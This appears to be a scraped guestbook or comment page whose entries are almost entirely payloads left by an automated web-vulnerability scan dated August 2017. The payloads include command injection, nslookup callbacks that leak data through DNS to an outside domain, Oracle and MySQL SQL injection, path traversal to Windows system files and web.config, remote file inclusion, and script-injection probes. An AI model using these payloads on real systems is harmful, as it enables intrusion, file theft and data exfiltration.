\r\n ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:36 AM\r\n

\r\n

\r\n & ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:36 AM\r\n

\r\n

\r\n ';expr 268409241 - 2;'\r\n

\r\n
\r\n

c:\\windows\\win.ini

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n '& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n 1) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me'));\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \"& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me'))\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \";expr 268409241 - 2;\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

file:/windows/win.ini

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n 1 WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

/../../../../../../../../../../web.config

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c%3a%5cboot.ini

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

hTTp://r87.com/n

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file%3a%2fboot.ini

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n ' WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

\r\n

\r\n 8/23/2017 8:09:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:26 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n & SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n '& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

c:\\boot.ini

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \"& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/boot.ini

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB8

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB7

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[ns](javascript:netsparker(0x002A8F); \"nsmd\")

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"@-->

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A8B)+'

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A89);

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A87)

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&ping -w 25 127.0.0.1 &'

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

',netsparker(0x002A85),'

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\\';netsparker(0x002A83);///

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&ping -w 25 127.0.0.1 &\"

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+netsparker(0x002A81)+\"

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A7F)+'

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

*/netsparker(0x002A7D);/*

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

body{x:expression(netsparker(0x002A7B))}

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

|expr${IFS}268409241${IFS}-${IFS}2

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

n;ns:expression(netsparker(0x002A79));

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2;

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'\r\n

\r\n
\r\n

1;expr 268409241 - 2;x

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';expr 268409241 - 2;'

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf\"\"ury.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd\"\"z1o.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1\r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic\"\"f8i.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu\"\"90e.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)\r\n

\r\n
\r\n

'&nslookup \"o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5\"\"fqe.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1\";expr 268409241 - 2;\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&nslookup \"o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye\"\"btw.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n -1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1\r\n

\r\n
\r\n

&nslookup \"o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj\"\"oac.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

javascript:netsparker(0x002A73)

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&nslookup \"o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3\"\"_iq.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL))))\r\n

\r\n
\r\n

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5\"\"g2w.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26\"\"lsu.r87.me\"

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\\\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\\\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\\\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

